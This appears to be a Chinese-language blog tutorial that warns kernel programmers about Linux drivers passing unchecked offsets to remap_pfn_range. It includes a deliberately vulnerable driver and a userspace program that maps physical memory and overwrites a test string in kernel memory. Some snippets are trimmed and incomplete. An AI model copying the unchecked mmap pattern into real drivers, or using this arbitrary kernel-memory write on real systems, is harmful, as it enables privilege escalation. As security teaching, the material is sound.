首先申明,我是一個好人,nice值至少爲0.本文章的目的是提醒程序員在編程中注意,以免讓nice值很低的人爲所欲爲。
本系列文章分爲兩篇,第一篇說明基本原理,第二篇是重頭戲。
怎樣在linux內核中任意踐踏內存內容:
在內核驅動中經常會看到這樣的代碼:
static struct file_operations mmap_fops =
{
.open = dev_open,
.mmap = simple_mmap,
.release = dev_release,
};
simple_mmap就是在內核中給應用層提供的對應的mmap接口函數。
在像simple_mmap類似函數裏面經常會調用remap_pfn_range
/**
* remap_pfn_range - remap kernel memory to userspace
* @vma: user vma to map to
* @addr: target user address to start at
* @pfn: physical address of kernel memory
* @size: size of map area
* @prot: page protection flags for this mapping
*
* Note: this is only safe if the mm semaphore is held when called.
*/
int remap_pfn_range(struct vm_area_struct *vma, unsigned long addr,
unsigned long pfn, unsigned long size, pgprot_t prot)
這個函數的功能就是把一段虛擬地址映射到內核中的一段物理地址。
static int simple_mmap (struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "Jeff: device mmap.\n");
if (remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff,
vma->vm_end - vma->vm_start, vma->vm_page_prot)
}
比如有的人瘋了一樣像上面這樣寫代碼,這樣就有些放飛自我了,這樣就不做任何判斷的把一段虛擬地址映射到內核中的任意物理地址。
我們現在利用上面的漏洞代碼來修改任意一段指定的內存。
實驗開始:
首先寫一個小模塊:kmalloc.ko
#include <linux/module.h>
#include <linux/init.h>
#include <linux/slab.h>
static char *p;
static __init int init_kmalloc(void)
{
p = kmalloc(20, GFP_KERNEL);
if (!p)
return -1;
strcpy(p, "jeffnice+20");
printk(KERN_INFO "phy:0x%llx\n", virt_to_phys(p));
return 0;
}
static void __exit exit_kmalloc(void)
{
printk(KERN_INFO "p string:%s\n", p);
kfree(p);
}
module_init(init_kmalloc);
module_exit(exit_kmalloc);
MODULE_AUTHOR("Jeff Xie");
MODULE_LICENSE("GPL");
這個模塊加載進內核之後,會打印出p對應的物理地址。
在卸載的時候會打印出一段字符串,很顯然會打印:jeffnice+20
但是我們讓它打印jeffnice+20就沒有什麼看頭了,比如我們利用上面的simple_mmap函數漏洞讓這個kmalloc.ko模塊在卸載的時候打印:
jeffnice-19.
接下來見證奇蹟的時刻來了。
先編譯此模塊,然後 insmod kmalloc.ko 看到打印出p對應的物理地址:
[1158297.073811] phy:0x2adcd1e0
然後編譯加載帶有漏洞的模塊代碼 mmap-root.ko:(代碼有刪減)
/* 代碼有刪減 */
static int simple_mmap (struct file *filp, struct vm_area_struct *vma)
{
remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff,
vma->vm_end - vma->vm_start, vma->vm_page_prot)
}
static struct file_operations mmap_fops =
{
.open = dev_open,
.mmap = simple_mmap,
.release = dev_release,
};
static int __init cve_mmap_init(void)
{
int err = 0;
pcdev = cdev_alloc();
cdev_init(pcdev, &mmap_fops);
err = alloc_chrdev_region(&ndev, 0, 1, "mmap_dev");
printk("major = %d, minor = %d\n", MAJOR(ndev), MINOR(ndev));
err = cdev_add(pcdev, ndev, 1)
insmod mmap-root.ko
dmesg:
[1157207.384411] major = 245, minor = 0
手動新建一個設備節點:
mknod -m 0666 /dev/mmap c 245 0
現在萬事俱備,準備寫一個應用程序來幹大事:
unsigned long mmapStart = 0x57575000;
int fd = open("/dev/mmap", O_RDWR);
if (fd < 0)
{
printf("[-] open failed.\n");
return -1;
}
size = 0xf0000000;
addr = (unsigned long *)mmap((void*)mmapStart, size,
PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (addr == MAP_FAILED) {
perror("[-]failed to mmap:");
close(fd);
return -1;
}
printf("[+]mmap ok addr : %lx\n", addr);
while (((unsigned long)addr) < (mmapStart + size))
{
count = 0;
if (
addr[count++] == 'j' &&
addr[count++] == 'e' &&
addr[count++] == 'f' &&
addr[count++] == 'f' &&
addr[count++] == 'n' &&
addr[count++] == 'i' &&
addr[count++] == 'c' &&
addr[count++] == 'e'
) {
printf("[+]found addr %p phy:0x%llx.\n",
addr, (unsigned long)addr - mmapStart);
addr[count++] = '-';
addr[count++] = '1';
addr[count++] = '9';
}
addr ++;
}
close(fd);
return 0;
}
此程序的目的是映射虛擬地址 0x57575000 至 0x57575000+0xf0000000 到物理地址0x0 至 0xf0000000
然後從系統內存中搜索對應的含有"jeffnice"的小內存塊,把接下來的後三個字節換成"-19"
gcc ./jeff-mmap.c -o jeff-mmap
root@jeff:# ./jeff-mmap
[+]mmap ok addr : 57575000
[+]found addr 0x5969eaa9 phy:0x2129aa9.
[+]found addr 0x6969b9e9 phy:0x121269e9.
[+]found addr 0x74da91fb phy:0x1d8341fb.
[+]found addr 0x781a1d5f phy:0x20c2cd5f.
[+]found addr 0x823421e0 phy:0x2adcd1e0.
[+]found addr 0x898e084d phy:0x3236b84d.
[+]found addr 0x90a580c4 phy:0x394e30c4.
[+]found addr 0xb857308b phy:0x60ffe08b.
[+]found addr 0xd172a092 phy:0x7a1b5092.
編譯執行之後會看到在內存中找到了十個左右的內存塊,都含有“jeffnice",其中有一個對應的物理內存是 0x2adcd1e0,這個正是上面kmalloc.ko模塊中p的物理首地址。
然後卸載kmalloc.ko模塊驗證字符串輸出
rmmod kmalloc
從dmesg信息中看到
[1158783.927631] p string:jeffnice-19
輸出與預料一致。
(完)